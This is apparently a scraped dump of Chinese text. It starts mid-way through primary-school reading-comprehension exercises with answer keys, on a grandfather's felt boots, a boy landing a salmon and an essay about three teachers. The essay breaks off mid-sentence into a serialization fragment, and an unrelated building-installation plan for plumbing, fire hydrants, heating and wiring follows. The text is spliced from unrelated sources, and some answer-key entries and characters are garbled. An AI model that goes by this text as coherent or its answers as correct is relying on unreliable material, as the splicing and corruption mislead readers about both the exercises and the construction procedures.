@#@在毡靴的温馨之中，鸟儿们出生、成长；@#@冷天即将来临时，便成群结队飞往暖和的地方。

@#@春日它们又都重新归来，在各自的树穴中的旧巢里，还会再次觅得爷爷那只毡靴的残余。

@#@那些筑在地上和树枝上的巢窠同样不会消逝：

@#@枝头的散落到地面，小耗子又会在地上发现它们，将毡靴的残毛搬进自己地下的窝中。

@#@@#@我一生中经常在莽林间漫游，每当有缘觅得一处以毡毛铺衬的小小鸟巢时，总要像儿时那般思忖着：

@#@“世间万物终有尽时，一切都会消亡，唯独爷爷的毡靴却永世长存。

@#@”@#@1.读文中画“∥”前面部分的文字，在空格里补充恰当的短语，完成思维导图。

@#@@#@2.联系上下文，说说从画横线的句子中你体会到了什么。

@#@@#@@#@3.倒数第二自然段描写了鸟儿们造窝活动的情景，作者为什么要写得如此具体？

@#@@#@@#@4.读文中带点部分的语句，写出其含义。

@#@@#@@#@5.请联系短文说说文中的爷爷是个怎么样的人。

@#@@#@@#@1.缝补跟崭新的一般让靴子冻上冰胀得松散@#@2.爷爷对毡靴的不舍。

@#@@#@3.说明爷爷的毡靴又有了新的价值，做到了永世长存。

@#@@#@4.表面写毡靴“永存”，实际上蕴含深刻的含义：

@#@爷爷修毡靴及最后对毡靴的处理，表现了爷爷内心深处朴素而永恒的爱心，“毡靴”凝聚着爷爷对生活中的事物的珍惜，这种情感将永世长存。

@#@（意对即可）@#@5.爷爷是一位普通的渔民，他却具有许多高尚的品格。

@#@俭朴：

@#@一双毡靴修修补补，总是舍不得扔掉。

@#@勤劳：

@#@尽管他年迈，双腿酸疼，但仍然坚持捕鱼。

@#@有爱心：

@#@爷爷让自己的一只毡靴成为鸟窝，温暖动物。

@#@重友情：

@#@爷爷将另一只破毡靴送给了自己的猎手朋友。

@#@（言之有理即可）@#@ @#@@#@3．@#@儿子的鱼@#@我环顾周围的钓鱼者，一对父子引起了我的注意。

@#@@#@他们在自己的水城一声不响的钓鱼。

@#@父亲钓到、接着又放走了两条足以让我们欢呼雀跃的大鱼。

@#@儿子12岁左右，穿着高筒橡胶防水靴站在寒冷的河水里。

@#@两次有鱼咬钩，但又都挣扎着逃脱了。

@#@突然，男孩的钓竿猛地一沉，差一点儿把他整个人拖倒，卷线轴飞快地转动，一瞬间渔线被拉出很远。

@#@@#@看到那鱼跳出水面时，我吃惊得合不拢嘴。

@#@@#@“他钓到了一条王鮭，个头不小。

@#@”伙伴保罗悄声对我说，“相当罕见的品种。

@#@”@#@男孩冷静地和鱼进行着拉锯战，但是强大的水流加上大鱼有力地挣扎，孩子渐渐被拉到布满漩涡的下游深水区的边缘。

@#@我知道，一旦鮭鱼到达深水区就可以轻而易举地逃脱了。

@#@孩子的父亲虽然早把自己的钓竿插在一旁，但一言不发，只是站在原地关注着儿子的一举一动。

@#@@#@一次、两次、三次……男孩试着收线，但每次都不成功。

@#@鮭鱼猛地向下游蹿去，显然在尽全力向深水区靠拢。

@#@五分钟过去了，十分钟过去了，……孩子开始支持不住了，即使站在远处，我也可以看到他发抖的双臂正使出最后的力气奋力抓紧钓竿。

@#@冰冷的河水马上就要漫过高简防水靴的边缘。

@#@王鮭离深水区越来越近了，钓竿不停地左右扭动。

@#@突然，孩子不见了！

@#@@#@一秒钟后，男孩从河里冒出头来，冻得发柴的双手仍然紧紧抓住钓竿不放。

@#@他用力甩掉脸上的水，一声不吭，又开始收线。

@#@保罗抓起渔网向男孩走去。

@#@@#@“不要！

@#@”男孩的父亲对保罗说，“不要帮他，如果他需要我们的帮助，他会要求的。

@#@”@#@河对岸是一片茂密的灌木丛，树丛的一半没在水中。

@#@这时候鮭鱼突然改变方向，径直蹿人那片灌木丛里。

@#@我们都预备着听到渔线崩断时刺耳的响声。

@#@然而，说时迟那时快，男孩往新一扑，紧追着鮭鱼钻进了茂密的灌木丛。

@#@@#@我们都呆住了。

@#@男孩的父亲高声叫着儿子的名字，但他的声音被淹没在河水的怒吼声中。

@#@保罗涉水到达对岸，示意我们生蛙被逮住了。

@#@他把枯树枝拨向一边，男孩紧抱着来之不易的生鱼从树丛里倒退着出来，努力保持着平衡。

@#@@#@他瘦小的身体由于寒冷和兴奋而战栗不已，双臂和前胸之间紧紧地夹着一条大约14千克重的王鮭。

@#@他走几步停一下，掌握平衡后再走几步。

@#@就这样走走停停，孩子终于缓慢但安全地回到岸边。

@#@@#@孩子的父亲递给儿子一截绳子，等他把鱼绑结实后，弯腰把儿子抱上岸。

@#@男孩躺在泥地上大口喘着粗气，但目光一刻也没有离开自己的战利品。

@#@保罗随身带着便携秤，出于好奇，他问孩子的父亲是否可以让他称称鮭鱼到底有多重。

@#@男孩的父亲毫不犹豫地说：

@#@“请问我儿子吧，这是他的鱼！

@#@”@#@1.本文采用了第一人称手法，叙述了“儿子”捕鱼的过程，细读全文，在下面横线上将“儿子”捕鱼的过程补充完整。

@#@@#@拉据战→→与鱼周旋→→捕鱼成功@#@2.“男孩躺在泥地上大口喘着粗气，但目光一刻也没有离开自己的战利品。

@#@”请揣摩男孩此时的心理。

@#@@#@@#@@#@3.文章结尾时男孩的父亲毫不犹豫地说：

@#@“请问我儿子吧，这是他的鱼！

@#@”请分析这句话在文章中的作用。

@#@@#@@#@@#@4.读完全文，你认为文中的父亲是一个怎样的人？

@#@当孩子艰难地和王鮭“搏斗”时，他选择了“袖手旁观”，你赞同他这样的做法吗？

@#@说说你的观点。

@#@@#@@#@@#@ @#@@#@1.沉入深水区拖入灌木丛@#@2.抓这么大的鱼，可累坏我了，但是我坚持下来了，依靠自己战胜了困难，终于抓住了罕见的王鲑，真高兴，我为自己骄做。

@#@@#@3.表明父亲深爱儿子，为儿子能捕到大鱼感到骄傲；@#@尊重儿子的劳动成果，让儿子自己做决定；@#@点题；@#@突出文章的中心；@#@勇敢、执着，自信，克服困难取得成功。

@#@@#@4.文中的父亲是一位关爱儿子，尊重儿子，懂得让儿子独立，有自己独特教育方式的父亲。

@#@示例一：

@#@我赞同他的做法，这样能培养儿子独立解决困难的能力，通过解决问题得到成长。

@#@示例二：

@#@我不赞同他的做法，让儿子独立解决问题也要有个度，像文中万一儿子被鱼拖下水，可能连救都来不及，这是有很大危险的。

@#@（观点明确，言之有理即可）@#@ @#@@#@4．@#@谢谢你，盛装莅临我的成长@#@汪微微@#@①小学二年级时的班主任，是个不怒自威的退伍军人。

@#@平日里话不多，习惯用眼神制止并解决纷争与事端。

@#@@#@②对男生，他实行军事化管理。

@#@课间十分钟，其他班的男生疯得东倒西歪，我们班的男生则挺拔地站立着，有序地排队，轮流着立定跳远，玩得像上课一样规规矩矩又铿锵有力。

@#@@#@③对女生，他力推淑女教育。

@#@说话要不疾不徐，微笑要张弛有度；@#@裙子要过膝，不许撩起下摆擦汗，不能光脚穿凉鞋；@#@坐不能弯腰驼背，站不能含胸低头；@#@课外少看电视多读书，每天练习毛笔字……@#@④乡村的孩子平时散养惯了，一个个野得像泼洒一地的阳光，哪里收得住？

@#@一学期过去，没几个能真正坚持下来的。

@#@做得最好的，是和我们同班的他的女儿。

@#@我们既同情她的别无选择，又钦羡她的与众不同。

@#@她不是班上最漂亮的女孩？

@#@却自有一种说不出的美，眼中闪烁着看得见摸得着的柔软和善意。

@#@连最捣蛋的男生路过她身边时，都会不由自主地屏声敛气。

@#@@#@⑤多年后，在家乡的街头，她穿一袭蓝底白花的连衣裙，绾（wǎn）着低低的发髻，静静地站在那里。

@#@嘈杂如水，流到她身边，却自觉地绕道而行。

@#@有人和她打招呼，她轻轻地点头，微笑致意，温婉得既优雅高贵又接地气。

@#@@#@⑥原来，她被打磨出来的与众不同的美，过去叫教养，现在叫气质。

@#@@#@⑦初一时的语文老师，是个有着慢条斯理智慧的老头儿，他惩戒我们的惯用伎俩是写检讨。

@#@检讨的内容直接照搬作文要求：

@#@文笔要好，感情要真，题材不限，风格却要自成一家，字数不能少于800字。

@#@最可怕的是，要一式54份——班上共54个人，人手一份。

@#@字迹要沿用书法课上的工整与气势。

@#@@#@⑧有一回上课，他迟到了几分钟。

@#@不待他道歉并解释原因，台下一片亢奋的叫喊声，大家一起喊：

@#@54，54，54！

@#@他也不恼，乐呵呵地看着我们，眼里的宠溺能湮（yān）没掉每个人。

@#@@#@⑨从此，他再也没有让我们写过检讨，却要求大家记日记。

@#@算算，一天不过就一篇，我们胜者为王居高临下地同意了。

@#@@#@⑩毕业后和一干人去看望他，说起这段往事，他笑：

@#@小小少年是一块块璞玉，但雕琢要讲究方式和技巧。

@#@写检讨是假，练笔练字才是真。

@#@然后他转过头，对我说：

@#@“你的字，有蝇头小楷的功底；@#@你的日记，也最好看。

@#@”@#@⑪原来，我们最终学会的，是不要错过自己。

@#@@#@⑫高二时的语文老师，是个忧郁的诗人。

@#@他为人低调又不羁，平时见他背影的机会比正面还要多。

@#@有一次上课讲诗歌的结构与特点，他找来了几本自己以前写的诗集。

@#@讲台上的他，眼神干净明亮，有一种未经世事的洁白，像正在做梦的少年。

@#@他一字字念，一句句写，一段段讲其饱满的感情、丰富的想象、和谐的音韵，以及写诗的心境和曾经沉睡的梦想。

@#@讲到动情处，他会停下来，一言不发地看向窗外，眼神比远方还远。

@#@@#@⑬课后很久，我心里仍蓬勃得静不下来。

@#@那是我第一次感受到了诗歌的美，它干净清洁，美好亲切，散发着梦想的味道。

@#@最难得的是，它离我这样近，一声轻唤便足以叫醒我，而不只是远远地隔空感动我。

@#@@#@⑭后来，我开始偷偷写诗，不在乎写得好不好，不去想有没有用，也不在意是否有人懂，愿意写下去并能很好地写出来，对自己而言已经足够。

@#@@#@⑮原来，梦想是一种让你觉得坚持就是幸福的东西。

@#@@#@⑯德国哲学家雅斯贝尔斯说过：

@#@教育意味着一棵树摇动另一棵树，一朵云推动另一朵云，一个灵魂唤醒另一个灵魂。

@#@谢谢你，盛装莅临我的成长……@#@1.查字典填空。

@#@@#@“临”字的音序是______，音节是_______，用部首查字法先查______部，再查______画。

@#@字典里有三种解释：

@#@①到，来；@#@②换着，靠近；@#@③照着字、画模仿。

@#@文中“莅临”的“临”取第_______种解释。

@#@@#@2.照样子，写词语。

@#@@#@

（1）乐呵呵（ABB式）_____________________@#@

（2）东倒西歪（含反义词）_____________________@#@（3）规规矩矩（AABB式）_____________________@#@3.文章叙写了三位老师的不同特点和对“我”的影响，根据文章内容，完成下表。

@#@@#@人物@#@特点@#@对“我”的影响@#@小学时的班主任@#@不怒自威的军人@#@

（1）@#@初一时的语文老师@#@

（2）@#@让“我们”学会不要错过自己@#@高二时的语文老师@#@忧郁的诗人@#@（3）@#@4.文中第⑤段描绘老师女儿，并没有写老师，有人说多余了，应该删掉，你认为应不应该删掉？

@#@为什么？

@#@@#@@#@5.结合语境，品读下列语句，回答问题。

@#@@#@

（1）“他也不恼，乐呵呵地看着我们，眼里的宠溺能湮没掉每个人。

@#@”这句话是什么描写？

@#@这样的描写让你感受到了什么？

@#@@#@@#@

（2）“他一字字念，一句句写，一段段讲其饱满的感情、丰富的想象、和谐的音韵，以及写诗的心境和曾经沉睡的梦想。

@#@”加点词语在本句中有什么作用？

@#@@#@@#@6.“教育意味着一棵树摇动另一棵树，一朵云推动另一朵云，一个灵魂唤醒另一个灵魂。

@#@”这句话是在解读师生之间的关系，根据你平时的经历及本文的讲述，谈一谈你对这句话的理解。

@#@@#@@#@1.LlinL8①@#@2.

（1）黑乎乎绿油油金灿灿

（2）异口同声左顾右盼里应外合（3）慌慌张张干干净净认认真真（答案不唯一）@#@3.

（1）让“我”懂得了气质（教养）的美

（2）慢条斯理的老头（3）让“我”明白梦想是一种让你觉得坚持就是幸福的东西@#@4.不应该删掉。

@#@老师女儿的风采气质是老师独特教育要求的结果，描写老师的女儿其实就是通过侧面描写来烘托老师的教育对“我”成长的巨大影响。

@#@@#@5.

（1）运用神态描写，写出了老师的宽容，表现了老师对我们的宠爱与教育的智慧。

@#@

（2）连用三个叠词，强调了老师讲课的投入，突出了老师对诗歌的深刻理解和喜爱及留给“我”的深刻印象。

@#@@#@6.学生的成长离不开老师的引领，文中的三位老师在";i:

25;s:

23467:

"安装施工组织设计@#@安装工程施工方案@#@第一章工程概况@#@

（一）工程简介：

@#@@#@本工程为xx结构形式为砖混结构。

@#@包括地上车库及储藏室层，住宅共计五层，顶层为阁楼层，建筑面积7058.66平方米，地上部分除一层部分区域为商业区、电气设备间外，其它为住宅用房@#@

（二）主要工作内容：

@#@@#@1、给排水工程：

@#@包括给水系统、卫生设备与排水系统、消火栓系统。

@#@@#@

（1）给水系统：

@#@@#@水源由城市给水管网接入本小区给水管网。

@#@本楼供水下行上给，@#@

（2）消火栓系统：

@#@@#@消火栓系统由消防泵直接供水。

@#@@#@本楼内每层设5套SN65消火栓。

@#@室外消防给水管道布置成环状，环管上设置SS100-10型室外消火栓，并设置消火栓系统的水泵结合器。

@#@@#@（3）排水系统：

@#@@#@本住宅楼每层10户，A户有2个卫生间，B户有1个卫生间，均有一个厨房，均设独立的排水立管，其中卫生间污水经处理后排入院内污水管道，厨房废水排入室外雨水管道。

@#@@#@3、采暖工程：

@#@@#@采暖系统为低温水系统。

@#@采暖热源由加热站供给，主立管安装在楼中部楼梯间管井内，回水总管接膨胀管，膨胀水箱设在屋面，每户每房间安装一组TZY2-6-5型散热器。

@#@@#@4、电气工程：

@#@分为强电、弱电两部分。

@#@@#@

（1）强电：

@#@变配电、电力照明、避雷接地。

@#@@#@电源由小区变电站配电室引入本楼一层配电箱，电气与照明线路敷设至各住户配电箱，照明线路采用BV-500铜芯导线穿钢管暗敷，应急照明灯具设在楼梯口。

@#@@#@

（2）弱电：

@#@有线电视、电话、宽带网络系统、访客对讲系统。

@#@@#@电视电缆采用SYKV-75-5型电缆，电话线采用RVB-2×@#@0.5型，电视电缆及电话线仅敷设至各户多媒体盒，其后部分预埋电线管及接线盒。

@#@@#@访客对讲系统采用SYV-75-5型电缆沿弱电竖井内敷设至各层视频分配器/8线解码器。

@#@@#@宽带网络系统预埋电线管、暗盒。

@#@@#@第二章施工配合@#@

（一）安装各工种之间的配合@#@1、本住宅楼设备功能齐全，施工前期应做好充分的技术准备工作。

@#@工程开工前，项目技术负责人组织各专业工程师依据施工图及现场具体情况对管线进行综合布局，复杂地段绘制断面图，明确各专业设备、管线的具体位置和楼高。

@#@只有在各专业矛盾以及与装饰的矛盾得到解决，经监理认可后方可全面进行施工。

@#@@#@2、为解决专业间矛盾，保证工程质量，要求做样板层、样板间。

@#@@#@

（二）安装与土建的配合@#@1、预留预埋配合：

@#@@#@土建主体结构施工阶段配合预留预埋工作，主要工作量有给排水管道、消防管道穿楼板屋面、穿墙套管安装；@#@卫生间、厨房卫生设备穿楼板孔洞预留；@#@电气管道的预埋工作，煤气管道穿墙及穿楼板的钢套管预埋。

@#@工程预留预埋工作对建筑与安装工程质量影响极大，因此开工前应认真熟识图纸，核查砼墙及楼板等处的预埋套管位置及数量是否与结构图相符，当结构图无预留预埋件图时，应由各专业施工员提供，技术负责人汇总后提交给土建施工人员，结构浇筑时应有专人负责。

@#@预留预埋件施工时不得随意损伤建筑结构钢筋。

@#@@#@2、安装工程主体施工在土建结构施工完毕墙体砌筑时进行。

@#@本楼室内管道较多采用塑料管道，主要安装在厨房卫生间内，因此管道施工人员应与建筑装饰密切配合，施工前应了解墙面装饰厚度，以确定立管距墙距离，防止管道半明半暗或影响用户二次装修。

@#@土建、安装各专业应相互创造施工条件，阶段施工计划应详细、具体。

@#@@#@3、厨房、卫生间施工配合：

@#@@#@首先确定卫生间器具型号，土建浇注楼板时配合进行安装留洞，安装时核实土建给出楼地面标高与基准线，确定器具标高与方位，并保护好管口（用木塞或其它物体），装好卫生器具和地漏后，土建再做地坪。

@#@@#@4、建筑精装修施工阶段配合卫生设备、灯具、喷头、消防栓等安装并开始系统调试。

@#@以达到土建、安装、装修及内部各工种之间互创施工条件达到工期要求。

@#@@#@5、考虑到现场施工场地较狭窄，现场办公室用房及工具房可就近搭设或租借，预制加工应在公司机械加工厂完成。

@#@@#@（三）成品保护的配合@#@通过业主与各施工单位协调共同搞好成品保护。

@#@项目经理部根据现场实际情况编制成品保护措施，要求各施工单位不得扳动已安装好的管线、开关、阀门等。

@#@未交工的厕所不得使用，不得随意取走管堵。

@#@易损坏的灯具、卫生器具等在土建门窗已安装后再进行安装。

@#@同时，要求安装施工时应注意对墙面、吊顶的保护，避免污染与损坏。

@#@@#@为了保证管井内管道、桥架施工质量与美观，要求需内粉刷管井内的管道、桥架待内粉刷完毕后施工，施工时不应污染墙面。

@#@无内粉刷的管井管道安装完毕后，应另时封闭，严禁作为建筑垃圾、排水通道。

@#@@#@第三章分部、分项施工方案@#@

（一）给排水部分：

@#@@#@1、给水系统安装：

@#@@#@

（1）本楼供水立管采用PPR给水塑料管热熔连接，穿楼板处预留孔洞，土建结构施工时予以配合。

@#@分户支管采用PPR给水塑料管热熔连接。

@#@@#@

（2）施工顺序：

@#@@#@引入管→水平干管→立管→水压试验→支管→卫生器具@#@给水管道主要工作量在厨房、卫生间。

@#@安装施工宜采用标准层、样板间引路，并尽量采用预制化加工。

@#@@#@（3）PP--R给水塑料管施工方法：

@#@@#@①管材、管件等材料应有质量检验部门的产品合格证。

@#@管道系统安装前，应对材料外观和接头配合的公差进行仔细的检查，并清除管材及管件内外的污垢和杂物。

@#@@#@②室内明敷管道应在土建粉饰完毕后进行安装。

@#@安装前应首先复核预留也洞的位置是否正确。

@#@管道安装前，宜按要求先设置管卡。

@#@位置应准确，埋设应平整、牢固，管卡与管道接触应紧密，但不得损伤管道表面。

@#@管道系统安装间断或完毕的敞口处，应随时封堵。

@#@管道穿过地下室或地下构筑物外墙时，采取严格的防水措施。

@#@@#@③同种材质的给水塑料管及管配件之间，应采用热熔连接，安装应使用专用热熔工具，与金属管件或卫生洁具五金配件采用丝扣连接。

@#@切割管材，必须使端面垂直于管轴线。

@#@管材切割一般使用管子剪或管道切割机，必要时可使用钢锯，但切割后管材断面应去除毛边和毛利刺。

@#@管材与管件连接端面必须清洁、干燥、无油。

@#@@#@（4）支吊架安装@#@管道安装时必须按不同管径和要求设置管卡或吊架，位置应准确，埋设要平整，管卡与管道接触应紧密，但不得损伤管道表面。

@#@采用金属管卡或吊架时，金属管卡与管道之间应采用塑料带或橡胶等软物隔垫。

@#@在金属管配件与给水聚丙烯管道连接部位．管卡应设在金属管配件一端。

@#@@#@（5）试压@#@管道试验压力应为管道系统工作压力的1.5倍，但不得小于1.0MPa。

@#@热熔连接管道，水压试验时间应在24h后进行，水压试验之前．管道应固定，接头须明露，加压宜用手动泵，升压时间不小于10min，测定仪器的压力确度应为0.01MPa。

@#@至规定试验压力，稳压lh，测试压力降不得超过0.06MPa。

@#@在工作压力的1.15倍状态下，稳压2h，压力降不得超过0.03MPa，同时检查各连接处不得渗漏。

@#@@#@（6）清洗、消毒@#@给水管道系统在验收前，应进行通水冲洗，冲洗水流道宜大于2m/s。

@#@生活饮用水系统经冲洗后，还应用含20－30mg/L的游离氯的水灌满管道进行消毒，含氯水在管中应滞留24h以上。

@#@管道消毒后，再用饮用水冲洗，并经卫生监督管理部门检验，水质符合现行的国家标准方可交付使用。

@#@@#@2、排水、雨水管道安装：

@#@@#@

（1）设计简介：

@#@@#@本住宅楼每层10户，每户有1个或2个卫生间，一个厨房，均设独立的排水立管，其中卫生间污水经处理后排入院内污水管道，厨房废水排至室外雨水管道。

@#@室内排水管采用UPVC芯层发泡管承插粘接，伸出屋顶部分及出户管采用排水铸铁管。

@#@潜水泵吸水管，出水管采用镀锌钢管，螺纹连接。

@#@@#@

（2）施工顺序：

@#@@#@安装准备→预制加工→排出管安装→立管安装→支管安装→卡件固定→封口堵洞→闭水试验→通水试验@#@（3）UPVC排水管安装工艺：

@#@@#@①UPVC管预制加工：

@#@根据图纸要求并结合实际情况，分立管按预留口位置测量尺寸，绘制加工草图。

@#@根据草图量好管道尺寸，进行断管。

@#@断口要平齐，用铣刀或刮刀除掉断口外飞刺，外棱铣出150角。

@#@粘接前应对承插口先插入试验，不得全部插入，一般为承口的3/4深度。

@#@试插合格后，用棉布将承插口需粘接部位的水分、灰尘擦拭干净。

@#@如有油污需用丙酮除掉。

@#@用毛刷涂抹粘接剂，先涂抹承口后涂抹插口，随即用力垂直插入，插入粘接时将插口稍作转动，以利粘接剂分布均匀。

@#@粘牢后立即将溢出的粘接剂擦拭干净。

@#@多口粘连时应注意预留口方向。

@#@@#@②引出管安装：

@#@首先根据设计图纸要求的坐标、标高预留槽洞或预埋套管。

@#@埋入地下时，按设计坐标、标高、坡度开挖槽沟并夯实。

@#@按设计坐标、标高、坡向，将预制加工好的管段，按编号运至安装部位进行安装。

@#@各管段粘连时也必须按粘接工艺依次进行。

@#@全部粘连后，管道要直，坡度均匀，各预留口位置准确。

@#@引入管至第一层检查口安装完后应做灌水试验，出口用充气橡胶堵封闭，达到不渗漏，水位不下降为合格。

@#@地下埋设管道应先用细砂回填至管上皮100mm，上覆过筛土，夯实时勿碰损管道。

@#@托吊管粘牢后再按水流方向找坡度。

@#@最后将预留口封严和堵洞。

@#@@#@③立管安装：

@#@首先按设计坐标要求，在预埋阶段埋设大于2号管经的套管，套管高出地面100mm。

@#@管道安装前清理场地，将已预制好的立管运到安装部位，首先清理已预留的伸缩节，将锁母拧下，取出U型橡胶圈，清理杂物。

@#@复查上层洞口是否合适。

@#@立管插入端应先划好插入长度标记，然后涂上肥皂液，套上锁母及U型橡胶圈。

@#@安装时先将立管上端伸入上一层洞口内，垂直用力插入至标记为止（一般预留胀缩量为20－30mm）。

@#@合适后即用自制U型钢制抱卡紧固于伸缩节上沿。

@#@然后找正找直，并测量顶板距三通口中心是否符合要求。

@#@无误后即可堵洞，并将上层预留伸缩节封严。

@#@排水立管转弯时或最末端转弯处应用2个45的弯管与水平管段（埋地引出管段）相接，立管末端的弯头处应做100号混凝土。

@#@@#@④支管安装：

@#@首先剔出吊卡孔洞或复查预埋件是否合适。

@#@清理场地。

@#@按需要支搭操作平台。

@#@将预制好的支管按编号运至场地。

@#@清除各粘接部位的污物及水分。

@#@将支管水平初步吊起，涂抹粘接剂，用力推入预留管口。

@#@根据管段长度调整好坡度。

@#@坡度应符合设计要求，合适后固定卡架，封闭各预留口的堵洞。

@#@横支管与横干管、横干管与立管连接处均采用45度斜三通或斜四通连接。

@#@@#@⑤立管及较长的悬吊管上均装设伸缩节，立管上检查口隔两层设置。

@#@排水管道上的吊钩或卡箍固定在承重结构上，排水管的坡度、固定件间距按设计规定设置。

@#@@#@（4）灌水试验：

@#@@#@暗装或埋地的排水管道，在隐蔽前必须做灌水试验，其灌水高度应不低于底层地面度，满水15min后，在灌满延续5min，以液面不下降为合格。

@#@@#@（5）成品保护：

@#@@#@管道安装完成后，应将所有管口封闭严密，防止杂物进入，造成管道堵塞。

@#@管道应加强保护，尤其立管距地2m以下时，应用木板捆绑保护。

@#@严禁利用管道做为脚手架的支点或安全带的拉点、吊顶的吊点。

@#@不允许明火烘烤塑料管，以防管道变形。

@#@油漆粉刷前应将管道用纸包裹，以免污染管道。

@#@@#@3、消防系统：

@#@@#@

（1）设计简介：

@#@@#@本楼内每层设5套SN65消火栓。

@#@室外消防给水管道布置成环状，环管上设置SS100-10型室外消火栓，并分别设置自动喷水和消火栓系统的水泵结合器。

@#@管道采用无缝钢管，焊接或法兰连接；@#@消火栓箱选用钢板制作，铝合金门框，茶色镜面玻璃门，消火栓箱内设SN65室内减压型消火栓一个，DN19水枪一支，DN65水龙带25米，消防卷盘一副紧急消防按钮及指示灯各一个，消火栓暗装，土建施工时配合预留孔洞。

@#@@#@

（2）安装要点@#@①干管安装：

@#@消防管道在焊接前应清除接口处的浮锈、污垢及油脂。

@#@管道对口焊缝上不得开口焊接支管，焊口不得安装在支吊架位置上。

@#@管道穿墙处不得有接口。

@#@管道穿楼板应设套管。

@#@@#@②箱体及支管安装：

@#@产品均应有消防部门的制造许可证及合格证方可使用。

@#@消火栓支管要以栓阀的坐标，标高定位甩口，核定后再稳固消火栓箱，箱体找正稳固后再把栓阀安装好，栓阀侧装在箱内时应在箱门开启的一侧，箱门开启应灵活。

@#@消火栓箱体安装在轻体隔墙上应有加固措施。

@#@@#@③消火栓管道安装完毕按1.4MPa压力进行水压试验，稳压30分钟，无渗漏为合格。

@#@消火栓系统管道试压完可连续作冲洗工作，冲洗时管内水流量应满足设计要求，进出水口水质一致进方可结束。

@#@@#@④箱体配件安装：

@#@应在交工前进行。

@#@消防水龙带应折好放在挂架上式卷实、盘紧放在箱内；@#@消防水枪要竖放在箱体内侧。

@#@消防水龙带与水枪，快速接头的连接，一般用14#铅丝绑扎两道，每道不少于两圈，使用卡箍时，在里侧加一道铅丝。

@#@设有电控按钮时，应注意与电器专业配合施工。

@#@@#@⑤通水调试：

@#@通水调试前小区消防设备包括水泵、结合器、节流装置等应安装完，其中水泵做完单机调试工作。

@#@系统通水达到工作压力，选系统最不利点消火栓做试验，通过水泵结合器及消防水泵加压，消防栓喷放压力均应满足设计要求。

@#@@#@

（二）采暖工程@#@1、设计简介：

@#@@#@本大楼采暖系统为低温水系统，供水温度95℃，回水温度70℃。

@#@采暖热源由加热站供给，主立管安装在管井内，本工程回水总管接膨胀管，膨胀水箱设在屋面，在楼梯间集中排气。

@#@每户每房间安装一组TZY2-6-5散热器。

@#@管径DN≤100mm管道采用镀锌钢管，立管上、下部位安装阀门具体安装详见标准图。

@#@@#@2、安装程序：

@#@@#@按系统（环路）组织施工，根据土建进度自下而上进行，系统工艺流程如下图：

@#@@#@

（1）安装准备：

@#@认真熟悉图纸，配合土建施工进度，预留孔洞及安装预埋件。

@#@按设计图纸画出管路的位置、管径、变径、预留口、坡向，卡架位置等施工草图，包括干管起点、末端和拐弯、节点、预留口、坐标位置等。

@#@管道穿墙、楼板应穿大于管经两号的套管，穿墙套管与墙体粉刷面平齐，穿楼面套管应高出地面20mm。

@#@固定支架应在管井土建施工时埋设预埋钢板。

@#@@#@

（2）管道安装@#@①总立管安装：

@#@总立管应在土建结构封顶后安装，固定支架应安装牢固，波纹补偿器安装前应预拉，预拉长度为膨胀长度的一半。

@#@预拉后用临时支撑固定，管道与上、下固定支架焊接牢固后拆除临时支撑。

@#@@#@②水平干管安装：

@#@水平干管安装在梁下，应在土建施工不会对管道安装产生较大障碍与污染后进行。

@#@按施工草图，先进行管段的加工预制，支架按设计要求或规定间距安装，安装高度应保证管道的坡度。

@#@干管安装应从进户或分支路点开始，管道要调直，装管前检查管腔并清理干净，胀力应按要求位置安装好导向支架和固定支架。

@#@并分别安装阀门、集气罐等附属设备。

@#@管道穿墙安装套管，管道安装、调整完毕填堵管洞口，预留口处应加好临时管堵。

@#@由于夹层为不采暖房间，管道应保温，管道与管道间应设固定或活动支座。

@#@@#@②户内立管安装：

@#@核对各层预留孔洞位置是否垂直，吊线、剔眼、栽卡子。

@#@将预制好的管道按编号顺序运到安装地点，按编号从第一节开始安装，然后依次进行。

@#@安装前检查立管的每个预留口标高、方向、半圆弯等是否准确、平正。

@#@将事先栽好的管卡子松开，把管放人卡内拧紧螺栓，用吊杆、线坠从第一节管开始找好垂直度，扶正钢套管，最后填堵孔洞，预留口必须加好临时丝堵。

@#@@#@③支管安装：

@#@检查散热器安装位置及立管预留口是否准确。

@#@量出支管尺寸和灯叉弯的大小，然后断管、套丝、煨灯叉弯和调直，连接散热器，把麻头清净。

@#@安装完毕用钢尺、水平尺、线坠校对支管的坡度和平行距墙尺寸，并复查立管及散热器有无移动。

@#@按设计或规定的压力进行系统试压及冲洗，合格后办理验收手续，并将水泄净。

@#@@#@（3）散热器安装@#@①材料要求：

@#@散热器的型号、规格、使用压力必须符合设计要求，并有出厂合格证，并按规范要求进行外观检查。

@#@@#@②散热器水压试验：

@#@将散热器抬到试压台上，按工作压力的1.5倍进行试验。

@#@试压时应排净散热器内空气。

@#@加压到规定的压力值时，关闭进水截门，持续5分钟，观察每个接口是否有渗漏，不渗漏为合格。

@#@@#@③散热器安装：

@#@散热器安装在室内墙面和地面抹完后进行，按设计图要求，利用所作的统计表将不同型号、规格和组对好并试压完毕的散热器运到各房间，根据安装位置及高度在墙上画出安装中心线，安装固定卡，将散热器固定，进行配管工作。

@#@@#@（4）水压试验：

@#@按系统分两部进行，先进行管道系统的水压试验，然后系统整体水压试验。

@#@试验压力为工作压力个1.25倍。

@#@试验在温度5℃以上进行。

@#@@#@（5）系统冲洗：

@#@系统试验合格后应进行水冲洗。

@#@@#@（6）防腐与保温：

@#@管道、管件、支架除锈后后刷防锈漆两道，银粉两道，保温管可不刷银粉。

@#@设在楼梯间、夹层内等非采暖房间采用超细玻璃棉保温，外加复合铝箔。

@#@@#@（7）通暖：

@#@接好热源，根据供暖面积确定通暖范围，制定通暖人员分工，检查供暖系统中的泄水阀门是否关闭，干、立、支管的阀门是否打开。

@#@向系统内充水，开始先打开系统最高点的放风阀，安排专人看管。

@#@慢慢打开系统回水干管的阀门，待最高点的放风阀见水后即关闭放风阀。

@#@再开总进口的供水管阀门，高点放风间要反复开放几次，使系统中的冷风排净为止。

@#@正常运行半小时后，开始检查全系统，遇有不热处应先查明原因，需冲洗检修时，则关闭供回水阀门泄水，然后分先后开关供回水阀门放水冲洗，冲净后再按照上述程序通暖运行，直到正常为止。

@#@冬季通暖时，必须采取临时取暖措施，使室温保持+5℃以上才可进行。

@#@遇有热度不均，应调整各分路立管、支管上的阀门，使其基本达到平衡后。

@#@进行正式检查验收，并办理验收手续。

@#@@#@（四）电气安装@#@1、动力、照明安装@#@

（1）供配电@#@电源由小区变配电室引入本楼一层配电箱。

@#@@#@电气与照明线路敷设至各住户配电箱，配电室至电缆竖井之间的线路沿桥架敷设，电气竖井内设电缆支架。

@#@照明线路采用BV-500铜芯导线穿钢管暗敷。

@#@@#@

（2）桥架安装：

